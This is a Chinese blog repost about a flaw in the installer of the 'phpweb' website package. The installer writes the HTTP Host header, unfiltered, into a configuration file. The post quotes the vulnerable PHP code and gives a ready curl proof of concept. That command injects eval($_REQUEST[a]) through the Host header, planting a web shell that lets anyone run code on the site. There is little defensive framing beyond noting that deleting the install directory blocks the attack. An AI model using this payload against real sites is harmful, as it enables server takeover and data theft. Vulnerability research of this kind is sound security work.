zoukankan      html  css  js  c++  java
  • phpweb成品网站最新版(注入、上传、写shell)

    注入:
    之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码

    鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
    鸡肋2: 有一定安全常识的站长都会删掉 install 目录

    虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响

    分析:

    $siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
     
    $filestr = fread(fopen($SysConfigFile, 'r'),30000);
    $filestr=str_replace(" ","",$filestr);
    $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
    $filestr=str_replace("DefaultDbName",$dbname,$filestr);
    $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
    $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
    $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
    $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
    $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
     
    fwrite(fopen($ConFile,"w"),$filestr,30000);

    $_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^

    poc

    curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost";eval($_REQUEST[a]);#"
  • 相关阅读:
    asp.net2.0系列视频教程
    Android入门教程(三十一)SQLite分页读取(转)
    sql语句大全
    判断是不是ie浏览器 加上ie11
    字节面试题
    泛型
    线程和
    sysbench工具
    自定义集合类
    类型通配符
  • 原文地址:https://www.cnblogs.com/58top/p/3728626.html
Copyright © 2011-2022 走看看